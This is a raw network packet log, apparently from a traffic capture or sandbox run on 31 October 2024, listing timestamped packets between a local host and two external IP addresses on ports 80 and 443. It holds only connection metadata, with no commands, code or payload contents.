Oct 31, 2024 03:04:28.042566061 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.042577028 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.042589903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.042603016 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.042650938 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.042651892 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.042691946 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.042857885 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.042869091 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.042877913 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.042907953 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.042922020 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.047468901 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.047482014 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.047492027 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.047504902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.047524929 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.047545910 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.047667027 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.047709942 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.203427076 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203450918 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203469038 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203481913 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203494072 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203497887 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.203505039 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203517914 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.203566074 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.203731060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203756094 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203763008 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203805923 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.203819036 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.203824043 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203835011 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203845024 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.203866005 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.203890085 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.321962118 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.322015047 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.322026968 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.322067022 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.322093010 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.322151899 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.322164059 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.322180033 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.322191954 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.322223902 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.322228909 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.322240114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.322268009 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.322297096 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.322875023 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.322885990 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.322896004 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.322931051 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.322949886 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.323189020 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.323229074 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.323240042 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.323268890 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.440591097 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.440602064 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.440665960 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.440712929 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.440725088 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.440737009 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.440747976 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.440768003 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.440799952 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.441261053 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.441273928 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.441283941 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.441312075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.441323996 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.441550016 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.441586018 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.441597939 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.441602945 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.441615105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.441627979 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.441637039 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.441654921 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.442118883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.442131042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.442141056 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.442164898 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.442190886 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.554826975 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:28.554944992 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:28.556271076 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:28.556283951 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:28.556539059 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:28.557897091 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:28.557934999 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:28.557984114 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:28.559393883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.559410095 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.559439898 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.559452057 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.559452057 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.559463024 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.559474945 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.559480906 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.559509039 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.559684038 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.559716940 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.559731960 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.559760094 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.559873104 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.559895992 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.559915066 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.559917927 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.559931993 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.559937000 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.559956074 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.559973955 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.560353994 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.560365915 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.560375929 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.560419083 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.610033989 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.610045910 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.610090971 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.678384066 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.678396940 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.678433895 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.678437948 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.678446054 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.678456068 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.678467989 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.678479910 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.678487062 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.678520918 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.678548098 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.678957939 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.678975105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.678987026 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.678999901 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.679003000 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.679011106 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.679024935 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.679025888 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.679058075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.679085970 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.724216938 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.724247932 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.724281073 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.724303007 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.796813965 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.796838999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.796879053 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.796880007 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.796926022 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.796933889 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.796942949 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.796962023 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.796963930 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.796973944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.796991110 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.797033072 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.797642946 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.797656059 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.797686100 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.797713041 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.797749043 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.797765970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.797776937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.797787905 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.797806978 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.797828913 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.798209906 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.798238039 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.798249006 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.798261881 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.798289061 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.842989922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.843019962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.843070030 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.915482998 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.915497065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.915564060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.915572882 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.915667057 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.915724039 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.915770054 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.915785074 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.915808916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.915822029 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.915826082 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.915833950 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.915848017 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.915865898 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.916352034 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.916402102 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.916434050 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.916445971 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.916484118 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.916486979 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.916893959 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.916907072 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.916918993 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.916929960 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.916945934 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.916990042 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:28.961515903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.961529016 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:28.961632967 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.015634060 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.015707016 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.015748024 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.015782118 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.015808105 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.015819073 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.015831947 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.015839100 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.015873909 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.016113043 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.016340971 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.016410112 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.016427040 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.020314932 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.020490885 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.020507097 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.034121990 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034132957 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034223080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034246922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034256935 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034305096 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.034348011 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.034564018 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034575939 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034585953 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034620047 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.034634113 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.034837008 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034848928 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034873962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034884930 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034888983 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.034895897 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.034915924 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.034944057 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.035419941 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.035465956 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.035466909 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.035478115 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.035511971 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.035515070 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.035526991 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.035554886 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.035573959 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.073260069 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.080224037 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.080238104 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.080305099 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.132263899 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.132814884 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.132846117 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.132874012 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.132877111 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.132900000 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.132947922 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.132988930 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.133157015 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.133208990 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.133233070 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.133279085 CET	63892	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.133292913 CET	443	63892	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.153114080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153126001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153136969 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153147936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153158903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153184891 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.153208017 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.153265953 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153275967 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153310061 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.153453112 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153465033 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153476954 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153500080 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.153518915 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.153609037 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153620958 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153633118 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.153654099 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.153671980 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.154161930 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.154315948 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.154326916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.154370070 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.154392004 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.154622078 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.154633999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.154644012 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.154685020 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.154695988 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.244497061 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.244508028 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.244566917 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.271955013 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272032976 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.272134066 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272145987 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272156000 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272171021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272181988 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272182941 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.272192955 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272200108 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.272202969 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272213936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272227049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272232056 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.272260904 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.272495985 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272531033 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272541046 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.272558928 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272573948 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.272574902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272599936 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.272610903 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.272619009 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272658110 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.272839069 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272861958 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.272901058 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.273058891 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.273071051 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.273080111 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.273098946 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.273106098 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.273130894 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.333115101 CET	63900	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.333139896 CET	443	63900	188.114.96.3	192.168.2.4
